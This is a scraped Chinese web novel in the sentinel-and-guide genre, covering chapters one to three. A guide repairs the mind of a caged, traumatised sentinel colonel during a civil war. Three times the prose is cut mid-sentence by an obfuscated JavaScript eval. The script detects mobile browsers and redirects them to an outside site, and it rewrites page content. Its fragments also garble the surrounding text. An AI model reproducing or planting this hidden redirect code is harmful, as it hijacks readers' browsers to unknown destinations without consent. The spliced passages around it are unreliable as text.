《无尽终局 [哨向]》 1. 第一章 年轻的向导走下车时,漫长的大雪终于停歇,一轮银月正高悬在无垠的夜空,明亮如同白昼。 军靴踏在厚重的积雪上,发出窸窣的声响。向导收拢了目光,看见眼前铺展开来的军事基地,装甲车、士兵有条不紊地行进着,厚重的雪顶将黝黑的堡垒覆盖,它们依次排列伫立,一直绵延到银色雪丘的尽头。 艾泽洛瑞恩的夏季与冬季都是以十年为期,帝国内战起始于上一场夏日的终结,严冬随即而来。 “顾小绒中尉?”一位军容整肃的女军官走上前来,翻了翻手中的资料。 “是我。”顾小绒应道,她拿出自己的资料与证件,对方核实过后向她敬了个军礼,随后几位士兵走上前来将她围在了中间。 “请随我来。”军官简洁地说到。 从外围基地到中央公会又是一段漫长的摆渡车,好在与来时候的严格保密不同,她得以呼吸到冷冽的空气,看见月华如白纱一般轻拂而下。 顾小绒在一个月前才刚刚考过A级向导,今晚就被紧急调入了中央公会,按照以前的选拔机制,她的分数和资历还差了很多。四下静默,却无一不透露着战时的紧迫,尤其是深夜紧急调入,怎么想也不是好事。 车子停下,他们来到一个漆黑高耸的建筑前,“哨兵管制中心”几个白亮的大字照映在夜空里。轮岗的士兵们荷枪实弹地围在四周,他们的肩上还积着一层厚厚的雪。 向导面色平静,每一个地方公会也会有这样的场所,说的好听一点叫管制中心,更通俗一点的叫法是禁制塔,这里是比牢狱更加可怕的地方。出于很多原因哨兵会出现各种各样的问题,他们的五感过于敏锐,时常容易因为超负荷而过载失控,而向导的数量一直都较为稀少…… 顾小绒心里有些纳罕,按照流程她怎么也应该是先去中央公会提交资料和报道,但她识趣地没有问什么。眼见军官将她的资料递交了上去,随后她便被领进了这座黑色建筑的大门。 黑塔虽然从外看着高耸入云,走入其中却觉得十分狭窄逼仄,深黑色的大理石地板与军靴碰撞出空旷的回音,外界轻微的声响在走入大门之后戛然而止,很明显整座建筑都做了严格的静音。 走廊上也全是加强的防护电网,顾小绒偏头扫了一眼,确信那里一不留神碰到便足以丢了性命。 厚重的铁门沉沉打开,露出一个姑且能称作办公室的地方,随行的士兵停留在外,那个军官请她坐下,拿出了一沓资料放到了顾小绒的面前。 “请您过目。”女军官简明扼要地说。 顾小绒点点头,她的目光停留在扉页的照片上,哨兵黑色的眼眸静静地凝视着前方,冰冷而坚硬,像是黑曜石一般闪烁着慑人的银光。 韩奕,男,现年28岁、身高185,直属于中央公会的哨兵,罕见的S级,上校军衔,现任中央公会哨兵总负责人。从19岁便进入中央公会、97%任务成功率,以及一系列帝国金质勋章与荣誉…… 烫银的“S级”字样在白亮的灯光下熠熠生辉,即使是在中央公会,S级也极为稀有,同时危险性也更高、更易失控与狂化。 而自己只有地方公会的任职履历,也没有战斗经验,向导学院里唯一拿来教学的至多也就是A级,怎么看自己也很难匹配上。年轻向导顿了顿,抬起头来。 像是早就预料到她的反应一般,女军官说道:“韩奕上校在一个月前的任务里失去了向导。” “所以……”顾小绒想到之前那场突如其来的考试:“你们是为了这个才将向导职级考试提前的?” “可以这样认为。”军官垂下眼去:“您的履历与数据不是最拔尖的,却是与上校最为匹配的。” “……我明白了。”片刻的沉默后,顾小绒回道。 她目光下移,停留在尾页,那里有两个灰色的名字,他们的生卒年月一个停留在一个月前,一个则是三年前。 所以自己已经是他的第三个向导?顾小绒想,难道真的有哨兵能承受两次精神连接的破裂? “上校现在对人工向导素有排异反应。”女军官随后又提到。 听起来情况糟糕…… “是否狂化?”顾小绒收回思绪问。 “还未知。” “向导死亡后,哨兵会统一集中到管制中心,等匹配到新的向导,确认了状态稳定后重新回到公会服役。”女军官的声音是例行公事的冰冷:“从您过来的时间开始,你们有半个月的时间,半个月后,也就是本月的21号,对韩奕上校的考评就会开始。” “如果考评没有通过,他将继续待在这里,直到状态稳定评定合格为止。”军官审视着缄默的向导,说完了所有的话:“您可以考虑现在去见他,或者明天。” “就现在。”顾小绒几乎是立刻回答道。 “好的。”同样是没有任何情绪地,女军官干脆利落地起身,带着向导朝着禁制塔的最深处走去。 狭窄寂静的走廊尽头是一面巨大的黑色铁门,全副武装的士兵守在门前,在深黑夜色与冷白灯光的照映下,如同雕塑一般巍然不动。铁质的冰冷气息浸入顾小绒的身体,她有些微微打颤,感觉这里的温度实在是下降了太多,女军官将身份卡交给了她,从今以后她将在中央公会与禁制塔里拥有自己的权限。 “中尉,您是否需要守卫随行?”门缓缓打开时候,顾小绒迎着身边列队整齐的士兵,偏头望向了身边的军官。 “不必了。”顾小绒明白对方的好意,却仍婉拒了,考虑到哨兵现在的状态,也许不适合太多人进入。 “好的。”女军官没有再坚持,随即起身离开:“房间内有多角度实时监控,您可以随时调用士兵。” “多谢。”顾小绒点点头。 门重重地关上,四下暗色的墙壁如有实质一般向着她倾轧,冰冷与黑暗忽然漫无边际地涌来。 顾小绒揉搓了一下自己冻到通红的手,她的面前有一张办公桌,另一旁则是一个可供休息的长凳。在这难以言说的密闭空间里,隔绝在她面前的应该是最后一扇门了,顾小绒知道上校就在那扇门里面,现在是夜里2点,也许上校已经休息了。她略作思忖,还是决定进去看看,为了避免声响太大,她脱下了鞋子,身份卡刷开门扉,发出一声轻微的声响与微弱的蓝光。 只是这一点点,在这寂静而晦暗的封闭空间里,如同石子丢进了宁静的池潭,漪轮一层层地扩散开来。 一股清冽的雪松味迎面扑来,冲击着向导的大脑,本应淡然的味道此时已变得无比浓烈,令她慢了半拍才注意到眼前的景象。 监狱般的牢柱耸立在她面前,黑色的金属网泛着冷蓝的色泽,密不透风、如同囚笼。 在恒定的白光源下,一位穿着单薄的哨兵正倚靠在角落里小憩,他身量颀长、黑色的头发已长过肩颈,几缕碎发覆盖过他的额头,被冷汗打湿凝滞在那里。 哨兵的眉微微蹙起,他眉眼英挺,长长的黑色睫羽垂落下来,留下大片的阴翳。他的胸口有些急促地起伏着,那里的衣衫被浸湿了大片。 顾小绒怔然看着哨兵面上带着的嘴套,狰狞的黑色金属物紧紧卡住哨兵苍白的下颌,仿佛那不是个人而是个野兽。 他的双手被紧紧捆缚着,脚踝也套着枷锁,黑色钢索深深嵌入到哨兵惨白的皮肤里,伤口被勒得血肉模糊,淡淡的腥味与雪松的味道融合在一起,遍布在房间里。 难道……已经狂化? 向导素来严加管控的情绪有了瞬时的波动。 但哨兵太过虚弱,她衡量了一下自己现在的向导素,做好了强化准备,拿着卡朝着监牢的门口开关刷去。 可是滴的一声红光响起,门并没有打开。 在向导的怔愣里,一双冷色的黑眸缓缓睁开,像是一把锋利的刀自黑暗深处缓缓出鞘,顾小绒本能地浑身一颤,后退了半步。 狭窄的囚笼里,她实在无所遁形,被哨兵的眼神定定捕捉住,那双深黑的眼眸已被红色的血丝布满,像是某种危险的兽类。 “上校。”理智瞬时回收,顾小绒赶紧硬着头皮敬了个军礼:“我是公会指派与您对接的向导顾小绒,编号12680,A级,现年19岁,3202年进入第五公会服役,已期满5年。”她的右手指尖抵着太阳穴,左手背在身后紧紧攥着,只感觉手心渗出冷汗。 哨兵沉默地看着眼前年轻的向导,直到她将漫长的资料背完。那双冰冷的黑色眼睛没有再那样如同刀锋一般地指向她,令向导绷紧的身体稍微放松了一下。 没有回应,不确定是否还存有理智。 “上校,抱歉打扰您休息,我想申请打开门的权限,请您稍等。”顾小绒思索再三,冷汗从手心蔓延到后背,却仍然十分坚持地说道。 禁制塔规定灯光24小时不准熄灭,但是这样的强度对于已经感官过载、几乎在失控边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055840|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缘的哨兵而言实在是过于折磨,她需要给哨兵蒙上眼睛、以及如果可以的话打开身上的禁锢、并且立即建立临时的精神连接与屏障,他现在十分需要充足的保护与休息。 向导的坚持似乎在哨兵的意料之外,他顿了顿,用目光审视着她。 狭小的室内没有什么退却的空间,她的目光最后只能缩到自己脚下,可她的身体没有再退一步,他们在沉默中无形地对峙着。 十数秒后,哨兵低沉有些嘶哑的声音缓缓响起:“这是我的命令……” 还有理智——这个判断闪电般射过向导的脑海,情况不算太坏。 她快速理清了思绪,自己已经得到了这里的所有权限却刷不开眼前监牢的门,说明有更高的权限阻止了她。 所以……上校自己下令将自己锁在这里? “上校,12680号中尉申请打开门的权限,请您准许。”片刻沉默后,她再次开口。 没有即刻的回复,哨兵的体力与精神似乎在长久的痛苦里都快到达极限,她只看见严丝合缝的嘴套里上校的下颌紧紧咬住,他微微起身,喘息更加剧烈,单薄的衣衫被禁锢的金属划破,露出大片冷白的皮肤,胸口上下起伏,蒙上了一层晶亮透薄的冷汗。 “现在…不行……”他声音更低,几近喘息。 顾小绒拧着眉,军队职级森严,她无法违逆长官的意志。 “请允许我进行精神连接。”于是她没有再坚持,转而说道。哨兵的眉仍旧因为痛苦紧紧蹙起,但这一次他没有拒绝。 顾小绒闭上眼,纤细的丝线出现在她的感知里,那丝线细密地涌向不远处的哨兵,她触目惊心地感知着对方断裂的创口。 如果可以形容的话,那是一株拦腰折断的巨树,她只能看见巨大的树身盘根错节,根部往下盘踞着、紧紧抓进地底。 被折断的地方袒露着可怖的创口,巨大的断面里血肉模糊,即使是过去了这么久,仍有血从中不断地渗出。在无法想象的巨大痛苦里,它已无法愈合。那几乎是将肉-体腰斩一分为二的痛苦,甚至比之更甚。很难想象有人可以承受这样的痛苦,而没有发疯或者死掉。 向导调整好呼吸,轻轻地抚上创口的周围,一股淡淡的荔枝香释放开来,竭力安抚住颤抖的哨兵。 与此同时她也迅速地降低了哨兵的感官,尤其是视觉与痛觉,她想要尽力减少他的痛苦,可实际上她也知道她的安抚也只能停留在感官层面,精神层面则是无可奈何。如果痛苦可以比喻的话,这几乎相当于无麻醉外科手术。向导用几乎是最轻的力道触碰着创口的近处,等到对方从微微的颤抖中适应,才缓慢地覆了上去。 上校无声地弓起身子,他低垂着头,束缚双手的锁链碰撞到墙上,发出沉闷的声响。 向导快速地将她的精神力织成一张柔软的网覆盖在断裂的创口上,剩余的精神丝线如同手术刀一般快速地穿插着,将涌动地、不断流着血与肉的断面缝合上。她是治疗型向导,精神修复与屏障是她得分最高的科目,因此即使是应对这样可怖的精神创口,片刻后也能冷静下来有条不紊地执行。 因为断裂口过大也过深,有太多创面需要仔细处理,她又怕碰得他太疼,这场持久的修复进行了两三个小时,向导十分专注,几乎没有感觉到外面的天际已泛起鱼肚白。 等到伤口的处理差不多进入尾声,顾小绒才感觉到自己的身子已经湿透了,军装湿湿冷冷地贴合在后背,不舒服地粘黏着。她仍旧看着那个巨大的伤口,即使是现在勉强止住了血,之后还需要不断地补充精神力疗养,也不知道能恢复得如何。 至于能从中重新生出枝桠来与自己进行深度连接,几乎还无法预估。时间所剩无几,21号,向导回想着女军官叮嘱她的话。 上校的情况看上去更差,他全身彻底地湿透了,像是从水里打捞起来,不过在清晨的第一缕微光穿透狭窄的、有如缝隙般的小窗射进来时。那张苍白的面容却沉沉地睡去了,即使冷汗岑岑,他的呼吸仍陷入了深沉的均匀,好像已经很久没有这样安稳地睡过了。 完成一整晚修复的向导累的几乎脱力,她四下看了看,穿过门在休息室里找到了一床薄被,随后将被子放进了传送口中。她走到办公室的操作台上,那是对于全封闭牢狱设立的机器手,用于一些日常物资的输送。向导小心地操控着机器手,将已经送进牢笼里的被褥翻开,轻轻盖在了沉睡的哨兵身上。 2. 第二章 即使是在过去五年的从军生涯里,这样巨大严重的精神断裂伤,顾小绒也从来没有遇见过。也许这是她来到中央公会的第一道考验,于是她十二万分认真地对待眼前这份创伤的修复。 几乎是每隔12个小时顾小绒便会再进行一次创口的清理与维护,上校的意志极为坚定,仅仅两天之后创口便显著地好转,这极大地超乎了顾小绒的预料,于是她便试着将柔软的精神丝线更多地攀附上去,源源不断的精神力注入到哨兵因为断裂而干涸的伤口中。 在禁制室里的日子十分痛苦,比犯人更受桎梏,顾小绒有时候会感觉到生理层面的窒息,她感觉到四面的墙不断朝着自己挤压,挤压到好像埋进土里。而这样的日子,上校已经忍受了至少一个月。 期间女军官有来过两次,询问顾小绒是否需要休息,言下之意是她可以自由出入禁制塔与公会。向导婉拒了她的好意,她已决意在这里与她的哨兵在一起,直到他能安然无恙地离开为止。 对于她而言,这是她人生中的第一个哨兵。 她真正分化的时候是15岁,在这之后也一直在向导学院学习,并没有选出哨兵配对,她从来没有与谁产生过这样深度的连接。在这个密不透风、如同牢狱的禁制塔里,她与她的哨兵完成了第一次精神对接,尽管深度还远远达不到进入精神图景的程度。 顾小绒一边吃饭一边看着她的哨兵,她没有太多胃口,可是她非常需要能量。哨兵逐渐恢复的精神力像是一个巨大的黑洞,疯狂地吮吸着向导的精神能量。上校仍旧是那个姿势静静靠在墙角,他睡得很沉,身上是搭好的薄被,脸色比之前两日终于多了一些血色,他正沉沉地睡着,只是眉宇仍旧紧蹙,在额间刻出深深的印痕。 他明明还这么年轻…… 顾小绒吃完了所有的饭,又逼着自己喝下了能量饮料。 只要那双冷冽的眼眸闭着,上校整个人的气质都会柔和很多,他的睡颜十分平静,可精神力却在生生不息地攀附而上,急剧地吸取着能量。新生的枝桠从断裂的创口中生长出来,紧紧拉住向导汇聚的纤细丝线,越来越多地编织、连接到一处。 顾小绒揉揉眉心,太阳穴突突跳动,她准备休息一下,这几天的精神修复与供应让她有一些透支,她很担心自己撑不到上校完全恢复的那一天。于是她搭上薄被在休息室的长凳上睡下了,在与上校一墙之隔的地方。在入睡前,她迷迷糊糊地想着,以这样的恢复速度,明天似乎可以请求上校解开枷锁和嘴套,他的手腕和下颌已经被长久的束缚勒出了狰狞外翻的伤口。 许是这几天过于劳累,睡意比预料之中来得更快,她骤然地陷入到黑暗之中。 一场悠久的、沉眠的梦境过后,顾小绒迷糊着睁开了眼,光线有些强烈,那扇狭小的窗子外天光大盛,一股淡淡的雪松气息萦绕在身侧。 “醒了?”低沉的声音自身边骤然响起。 顾小绒一个激灵清醒过来,眼前的男人穿着笔挺制服,正在整理袖口;双排扣黑色上衣一丝不苟,熨帖在窄瘦的腰肢;肩章泛着亮白的银光,点缀在高阔的肩头;绶带华美地垂坠而下,覆盖在坚实的胸口;黑色长靴直抵膝盖,包裹住挺拔的双腿。 这是睁眼时的顾小绒目力所及的一切。 她一个翻身站了起来,没有控制好身体的平衡,膝盖在长凳上重重地撞了一下,短暂的歪曲之后立刻绷直了身子,笔直有力的敬了个军礼:“上校,12680号中尉顾小绒。” 站起身后,她终于看到了胸膛以上的地方,比如那双迫人的黑色眼眸,此时正微眯着打量着自己,冷然凌厉的眼神,如同黑曜石一般坚硬华美又流光闪烁,她很难将这与那黑暗牢笼里猩红的眼眸对上。 严格来说,她很难将眼前装容挺拔的男人与牢狱里油尽灯枯的虚弱哨兵对应,她就像是与他重新认识一般。 上校相较她来说实在是太高了,她曾经注意过他修长的腿,可是当他真的站起来,投射下来的阴影几乎像山一样将她笼罩。此时,那双凌厉的黑色眼睛已经没有了牢笼的阻隔,也褪去了猩红,狭长昳丽黑白分明,显得更加迫人。 年轻向导敬完礼后便小心地将眼神收了回去,眼观鼻鼻观心。 她听到一声轻微的气音,好像是上校的唇角弯了弯,此刻敲门声从门外响起,铁门咔的一声缓缓打开。 “上校,您点的餐饮。”士兵毕恭毕敬地将一盘餐食递上前来,放到桌上。牛排与黑椒的香气让本来垂首的向导不得不抬起头来,那诱人的香味好像在嘲讽她前几天努力吃下的无盐面包与蛋白质土豆汤,她的目光完全无法从那上面挪开。 “上校,请问您想要什么时候进行考评,需要现在报告给中心吗?”士兵又问道。 “等会儿给你答复。”上校淡淡答道。 “是。” “……”短暂片刻之后,铁门又关上了,顾小绒立即将粘在牛排的视线收了回来,站得笔直规整。 “先吃饭。”只听上校沉声说道。 这一切发展得太快,完全出乎意料。 等到顾小绒如坐针毡地吃完饭,上校才开口问道:“你现在状态如何?” “没有问题。”向导回答道,她的疲惫在足够的睡眠和饱餐后已经缓解了大半。 原来上校说等会儿答复,是在等她。 可是他的精神创口才刚刚修复……顾小绒有些担心,却不敢开口。 走出铁门时,灿烂的阳光透过密不透风的电网照射进走廊,顾小绒眯了眯眼睛,仅仅只是待了五天在禁闭室,她都已经快无法适应天光了。几乎是条件反射地,她立刻调整了上校的视觉,避免光芒刺痛哨兵敏锐的眼睛。 看管的士兵已经替换了一批,看起来是负责送他们去考评室的。为首的士兵捧着一个金属的黑色项圈,没有上前也没有说话。 “拿过来。”上校简洁地开口,随后从容地将那个项圈套在了自己的脖子上。 那是禁制环,向导眼神一暗。 “启动器。”他朝着顾小绒的方向偏了偏头,士兵立刻上前,将一个开关模样的小物件捧到了顾小绒面前。感知到长官绝不拖泥带水的行事风格,向导干脆利落地收下了。 考评室在更外层一点的地方,这里是一个稍微宽阔一点的大厅,顾小绒终于感到松泛了些许,她克制住自己想松一松领口的冲动,她知道这是自己第一次正式做为上校的向导在中央公会露面。 “上校,您来了。”一个带着半月眼镜,温和的男人走了过来,顾小绒扫了一眼他肩章上的横杠与星星。 穆承安少校,哨兵管控中心负责人,是一位气质柔和的向导。哨兵与向导分属两个体系,哨兵的肩章与绶带是银色,向导则是金色,顾小绒职级不高,还没有佩戴绶带的资格。 “准备好了的话就开始吧。”上校言简意赅。 考评中顾小绒参与的部分并不多,测试精神连接与模拟攻击的时候是这位穆少校与其余五位向导轮流进行的,几乎没有什么问题。顾小绒对自己的精神防御力有信心,她在过A级向导的考核时,几位老师都没能突破她的屏障。 眼前这位穆少校虽然说话温温柔柔,攻击起来却丝毫没有手软,这是顾小绒承受过的最强的一次精神攻击,她只觉屏障剧震,太阳穴尖锐刺痛如同被雷电轰鸣。好在没有掉以轻心,经过细密的修复,她与上校的连接已经稳固,姑且扛了过去。 “蛮不错的。”穆少校修长的指尖戳了戳金丝眼镜,示意这一部分的考核结束。 接下来是对哨兵的一系列单独测评,没有向导的事了。顾小绒被刚刚那一阵猛烈的精神攻击震得有些耳鸣,却仍坚持站立着没有坐下。 “在这儿等我。”上校嘱咐道,脱下外套搭在椅背上走了进去。 “是。”顾小绒乖乖应道,直到上校关上门,身体才松了松。 “不休息下吗?”穆少校走到她的身边,随手拉过一把椅子。 顾小绒摇了摇头,腼腆地抿了下嘴唇。她注意到对方的视线落到了自己的右手,那是她刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那扇关闭门扉之后,隐约传出拳拳到肉的击打声,随后是破空声、物品碎裂与低吼声,疾风骤雨一般愈演愈烈,像是庞大的猛兽在彼此撕咬。 顾小绒不由目光往那边移动,但意识到穆少校还在同自己讲话,又随即收回了视线。 “不要因为是韩奕上校就掉以轻心,现在这个担子压在你身上了,自己小心。”穆承安对着逐渐庞大的噪音视若无睹,看起来早已习惯。 “是,多谢少校提点。”顾小绒诚恳道谢。 他们的交谈刚一截止,门便打开了,韩奕毫发无伤地从里面走了出来,除了右肩稍微有些皱以外,与进去前没有变化,他一手抄起搭在椅背上的外套:“走。” 顾小绒立刻乖乖地跟上,她的眼神一直落在上校身上仔细看着,直到确认没有别的新增伤口才放心。她又用精神丝线轻轻探了探,发现自己留下的精神屏障没有损坏,而哨兵的精神力也趋于平稳。 “哎哟,这就护上了。”穆承安嘴角一扬:“你的新向导很不错哦,上校。” 韩奕懒得搭理他,疾步离开。 大门外,中央公会的车子已经停好了,五辆黑色的车型完全一致,司机、随行士兵与文职人员纷纷下车。“上校,欢迎回来。”一位金发女军官上前道,韩奕略一颔首,便进了第一辆车的后座。 顾小绒顿了顿,一时不知道自己应该坐哪辆。 “中尉,您也请。”女军官似乎看出了她的窘境,立刻上来贴心地指了方向,她指的恰好就是韩奕的身边。 “……”顾小绒无语凝噎,只能硬着头皮上。 这整整五天,她与上校就一直待在同一个密闭的空间里,无非是从这个密闭空间到下一个密闭空间,还好这一次前面有一个司机,上校的注意力也没有再落到她身上。 一路无话,军方的车虽然内室宽阔,但她与上校并排而坐,也不过只隔了十数厘米。 有上校在侧,顾小绒只得正襟危坐、背脊挺直,不敢松泛一点。所幸中央公会的办公楼与禁制塔离得不远,大概半个小时就到了目的地。 3. 第三章 一座巨大的白色建筑自地平线缓缓出现,层楼高起、巍峨广阔。 这就是中央公会主楼,帝国力量的中心。战争的一切指令从这里发出,他的权力辐射笼罩着整个国度。 这座建筑由白色巨大的钢铁丛林构成,没有任何华丽冗余的装饰,只有工业粗粝冰冷的气息,仅一颗螺丝钉就有圆桌的大小。在公会一楼的广阔大厅里,人、轿车、战车、装甲车、机甲的进出道路泾渭分明。 车队沿车道缓缓驶入,顾小绒不由微微侧头,看到身边巨大的载人装甲机器井然有序地行走着,遵从着指示人员双手高举的信号棒。在她面前铺展开来的,是满目望不见尽头的巨大钢铁洪流,这是一座庞大的战争机器。 车子缓缓驶离川流不息的公会大厅,穿过巨大石头林立的园林,战士的钢铁雕像闪耀在广袤园林的中心,他高举宝剑,像是在怒吼也是在呐喊。 园林早已没有任何植物,冬天已持续了十年,植物与作物都难以存活。早期花团锦簇、绿林成荫的景象不复存在,现在这里只有钢铁铸就的雕塑与巨大的石头,沉默地、荒凉地伫立着。 车队最后停在了与大厅遥遥相对的另一侧大楼前,比之前面的入口这里看上去十分僻静,像是文职的办公所。 “莉莎,你先带顾小绒中尉去休息,今天她不必再工作了。”韩奕朝着金发女军官下达完命令后,头也不回地往前走去。 “上校,您还在观察期。”名叫莉莎的女军官快步跟上,令顾小绒意外的是,韩奕竟然真的停下了步伐。 莉莎赶紧上前将手表、通讯器等物件递给了上校,随后又见缝插针地将胸牌递给了顾小绒,身份卡负责刷门,而胸牌则是印着名字与编号、职阶方便识别身份。 “沈骁在哪?”上校带好手表,问道。 “沈骁上校还在开会,预计晚上七点结束。”莉莎翻了翻日程器,干练地回答道。 韩奕看了眼时间,已经到了6点,他思忖了片刻后,转身对顾小绒说:“到我办公室,先吃饭。” 俗话说,兵马未动,粮草先行。 韩奕上校果真是久经沙场的将领,从他对下属饮食的格外上心就能看出来。 顾小绒这一天被紧锣密鼓地安排着,确实是有些饿了。其实从今天上午睁眼开始,她就几乎是上校的腿部挂件,除了半小时的精神力测试之外没有做任何事,甚至中午在禁制塔内都被上校强制吃饭和午休了半小时。 而这一天,从上校等她醒来开始,精神力测试、哨兵稳定性测试、战斗力攻击力测试等等,一直到马不停蹄地回到中央公会,还要继续开会…… 顾小绒在地方公会也跟过长官、做过前线军事后勤,几乎没有见过这样的强度。 此时的上校,距离她第一次给他进行精神修复也没有超过六天……她十分担心他的身体与精神状态。 莉莎也忙得没什么时间待在她身边,她一直在打电话,几乎是事无巨细:韩奕离开禁制塔的盖章准许页、出塔资料、禁制环与启动器编码,以及顾小绒本人的调入档案确认、生活起居安排…… 顾小绒此时正坐在上校的办公室内,这是一个宽阔的的白色房间,被分成了不同的区域,有单独的会议室。 向导垂着头,不敢随意走动也没有到处打量。 餐食很快就被带了过来,莉莎从百忙中见缝插针地将一份端给顾小绒,另一份端给了正在电子屏前蹙眉翻看数据的上校。 饮食十分丰盛,因为中午已经吃了牛排,晚上就换成了金枪鱼、炖肉丸、培根、豌豆、饼干和牛肉汤。食物丰盛得让她喟叹,现下物资紧缺,蔬菜和肉类都十分难得。 莉莎在她用完餐后给她拿上了一些资料,分别是中央公会的地图与区域、公会向导守则、以及一部分已经公示的前线战况。 “多谢。”顾小绒抬起头温婉一笑,她有一双湛蓝色的眼,像是雪后晴空的颜色。她低下头去翻阅这些资料,银灰的头发柔软地垂落在肩上。 粗略浏览过基础框架的信息,直接跳到观察期部分。守则上将哨兵从S、A、B、C、D及未分等级各自划分开,详细写明了观察期的时长。B级是20天,A级是40天,而S则是惊人的90天。在观察期内向导主要负责管理与稳定哨兵,每周都需要填写哨兵情况变化的评估表格,还需要在哨兵失控时将其控制。守则上将向导的安全距离规定在3米以外,10米以内。10米是为了控制哨兵,3米则是保全向导性命。 才刚刚看完这一段,莉莎就将一份评估表格递到了顾小绒面前。 “好…好的……”下级评估上级,差事难做。 顾小绒一边填写着,一边想起了什么:“请问下,现在这样的情况……我晚上是回向导宿舍吗?”她指了指地图。 “是这样的。”莉莎的笑容有些艰难,向导大约猜到了她要说的内容,真是怕什么来什么:“从现在开始的3个月内,中尉您需要和上校住一块呢。” 她体贴地给了向导两秒时间梳理情绪:“因为现在上尉以下的军衔都是独居寝室,上校的住所空间稍微大些,所以我们已经将您的生活用品与私人物品都暂时放到上校的住所了。” “好的……” “以及请您注意一下……”莉莎指了指翻开的向导守则上的一行小字,压低了声音:“在这3个月的观察期内请您和上校的距离保持在10米以内,否则启动器和禁制环都会发出红光与警报声哦。” “……嗯好。”向导后知后觉地反应过来,从禁制塔一直到进入这间办公室,她都从来没有和上校分开10米以上,这还得多谢莉莎滴水不漏的安排,她甚至在说到“禁制环”三个字时低到了使用气音。 也是,本来带着那个东西就已经够……更别提如果大庭广众发出红光和鸣笛了。 她不敢想象让长官颜面扫地的后果,这样的事最好不要发生。 韩奕长着几乎不属于军人的白皙皮肤,但这其实也很好理解,毕竟现在白昼的时间越来越短,绵延的大雪经常让白天看起来不过是稍微亮些的黑夜。哨兵身体的恢复能力是正常人的几倍,上午顾小绒还能看到上校仔细遮盖住手腕的伤口,那里被钢索勒得皮开肉绽,泛出深红的血肉。而就在刚才,她看到那个狰狞的伤口已经开始愈合结痂了。 也正因为上校的皮肤很白,深黑的禁制环套在脖子上看着格外明显。 在向导的视线不自觉粘到上校白皙的脖颈与微动的喉结时,办公室大门忽然打开了。 “来了。”中央公会向导总负责人沈骁上校,一脸疲惫地推门而入。 韩奕将水杯放下,他长眉紧蹙,冰冷的眼眸扫向来人,看上去面色不善。 莉莎叮嘱了顾小绒一句:“好好休息。”便瞬时闪出了办公室,离开时不忘紧紧地关上大门。年轻向导眼巴巴看着,谁都希望这会儿能出去的是自己。 室内的温度似乎降低了几分,沈骁上校在这一触即发的氛围里发现了角落里努力想要降低存在感的新人向导,后者温吞地站起来,恭敬地行了个礼。 “小绒,你也来了。”沈骁面向她的语气倒是柔和,他转而对韩奕道:“怎么样,我给你选的向导不错吧?” 确实,做为向导总负责人,全国A级以上向导考试都是由沈骁上校筛选评定的,他一早就注意到这个姑娘了。 “说正事。”低气压的哨兵总负责人没有接话,在给了对方一个眼神后转身进入了会议室。 夜色渐深,时间已指向9点,顾小绒静静坐着翻看着手中的资料,两位长官在完全封闭的玻璃墙后只透出模糊的影子,他们看上去正在激烈的交锋。 窗外又簌簌地下起了雪,顾小绒抬起头,揉了揉酸胀的肩颈。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055842|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 也不怪韩奕如此大动肝火,他去禁制塔不过个把月,局势就已如此紧张。现在的情况是迫切需要结束这场旷日持久的战争,否则帝国的命脉有可能消耗殆尽。 向导望向窗外无垠的夜空,白色的巨大光柱缓慢地移动,照耀着公会的每一个角落,不断有战机腾空,消失在夜色里如同疾驰而去的流星。 战争已持续了十年,在顾小绒刚刚九岁的时候,南部联盟反叛,帝国陷入旷日持久的内战。 导火索是因为帝国坚持禁止通过催化剂合法的提案,那是一种哨兵使用的神经兴奋毒素,可麻痹哨兵的痛觉与精神干扰,短期内爆发出巨大的力量,但具有极强的成瘾性,最终会导致哨兵的疯癫与死亡。向导数量稀缺,而人工向导素造价昂贵,无论是哪一种都几乎只有军队能够使用。 催化剂就是在这样的情况下,开始在南部的黑市蔓延泛滥,最开始是贩卖给帮派,之后大规模地出口到别国,获得巨额利润。 催化剂的成瘾性与破坏性,会最终摧毁哨兵与公会的根基,甚至最终摧毁国家与文明的根基。帝国坚决反对通过催化剂合法化的提议,阻拦了南部联盟巨大的利润来源,战争由此开启。 北方中央公会垄断了全国几乎70%的向导,南方为此只能一直依靠滥用药剂来抗衡,甚至不惜违背人伦对哨兵进行改造。这些年里重要的几场战役下来,南方已然式微,却仍负隅顽抗,最新战况显示他们投入战场的新型狂化哨兵对我方造成了巨大的破坏与伤亡…… 顾小绒把视线从触目惊心的战报上移开,并排放在一旁的恰好是韩奕上校的资料。内战10年,上校服役了9年,几乎是从头到尾参加并主导了所有重要的战役。他在最近一次的行动里成功完成了任务,却损失了向导。 哨兵因为极高的折损率,一线服役时间的极限一般是5年,可上校却坚守了9年,即使……即使他刚刚才经历过如此巨大的创伤…… 等到两巨头终于完成了亲切友好的战略磋商,夜已经很深。 门咔哒一声打开,几声低语传进了顾小绒的耳朵。 “你以为我愿意?现在哪里能找到人手顶上?哪里还有人?”沈骁一连串反问里带着无奈和焦灼。 